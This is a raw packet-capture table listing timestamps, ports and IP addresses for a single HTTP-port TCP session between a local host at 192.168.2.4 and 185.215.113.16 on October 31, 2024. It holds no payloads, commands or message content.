Oct 31, 2024 23:38:15.138458967 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.138475895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.139126062 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.139141083 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.139154911 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.139189005 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.139204025 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.139211893 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.139219046 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.139235973 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.139240980 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.139259100 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.139260054 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.139273882 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.139282942 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.139290094 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.139302015 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.139306068 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.139324903 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.139331102 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.139350891 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.140017033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140031099 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140053988 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140078068 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140081882 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.140094042 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140105009 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.140108109 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140132904 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140135050 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.140147924 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140161991 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140178919 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140181065 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.140193939 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140209913 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.140240908 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.140881062 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140928030 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.140938044 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140954018 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.140986919 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.140995979 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.141063929 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.141078949 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.141093016 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.141109943 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.141124010 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.141146898 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.141171932 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.214888096 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.214904070 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.214914083 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.215042114 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.215188026 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.215236902 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.289494991 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289516926 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289525986 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289583921 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289606094 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289632082 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289643049 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.289648056 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289664030 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289680004 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289721012 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.289735079 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289740086 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.289750099 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289764881 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289772987 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.289786100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.289817095 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.289845943 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290043116 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290064096 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290079117 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290090084 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290093899 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290102959 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290108919 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290123940 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290138006 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290150881 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290159941 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290173054 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290206909 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290395021 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290409088 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290422916 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290445089 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290457964 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290461063 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290477037 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290491104 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290499926 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290520906 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290538073 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290545940 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290560007 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290575027 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290590048 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290596008 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290606976 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290611982 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290627003 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290637016 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290642977 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290689945 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.290873051 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290894985 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290930033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290936947 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290951967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290960073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290966988 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290972948 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290981054 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290987968 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.290994883 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.291002989 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.291009903 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.291024923 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.291033030 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.291035891 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.291042089 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.291090012 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.291110039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.291475058 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.291490078 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.291506052 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.291528940 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.291565895 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295103073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295362949 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295383930 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295397997 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295412064 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295424938 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295427084 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295458078 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295470953 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295496941 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295511961 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295526981 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295542955 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295553923 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295564890 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295579910 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295581102 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295603037 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295605898 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295619965 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295629025 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295634985 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295645952 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295650005 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295665026 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295666933 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295681000 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295687914 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295696020 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295720100 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295749903 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.295954943 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295970917 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.295984983 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296000004 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296022892 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296022892 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296030045 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296039104 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296053886 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296077013 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296082973 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296092987 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296108007 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296118021 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296123981 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296138048 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296139956 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296154022 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296156883 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296169043 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296185970 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296188116 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296201944 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296211004 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296216011 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296226025 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296231031 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296247005 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296263933 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296272039 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296279907 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296294928 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296309948 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296314955 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296314955 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296331882 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296344042 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296348095 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296364069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296369076 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296385050 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296401978 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296408892 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296416044 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296425104 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296431065 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296447039 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296458960 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296461105 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296473026 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296475887 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296498060 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296505928 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296518087 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296531916 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296534061 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296550989 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296566010 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296570063 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296596050 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296623945 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296642065 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296657085 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296672106 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296686888 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296698093 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296703100 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296716928 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296730042 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296730995 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296746016 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296753883 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296770096 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296778917 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296783924 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296798944 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296807051 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296813965 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296825886 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296828985 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296844006 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296853065 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296864033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296869993 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296880007 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296895027 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296911001 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296919107 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296928883 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296943903 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.296951056 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296967983 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.296992064 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297235012 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297250032 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297265053 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297280073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297293901 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297298908 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297308922 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297322989 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297323942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297338963 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297339916 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297354937 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297378063 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297383070 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297393084 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297406912 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297416925 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297416925 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297421932 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297436953 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297446966 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297451973 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297466993 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297482014 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297497034 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297497034 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297512054 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297519922 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297527075 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297543049 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297558069 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297561884 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297561884 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297573090 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297589064 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297590971 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297611952 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297631979 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297667980 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297683001 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297698975 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297713995 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297729969 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297733068 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297748089 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297759056 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297764063 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297779083 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297780037 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297792912 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297810078 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297810078 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297826052 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297842026 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.297849894 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297868967 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.297892094 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.331901073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.332001925 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.332015991 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.332098007 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.332140923 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.332258940 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.332273960 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.332287073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.332324982 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.332350016 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.332870960 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.332884073 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.332900047 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.332946062 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.332969904 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.333005905 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.335184097 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.405982971 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.406038046 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:15.406049967 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.406064034 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.406088114 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.406101942 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:15.406101942 CET	49837	80	192.168.2.4	185.215.113.16
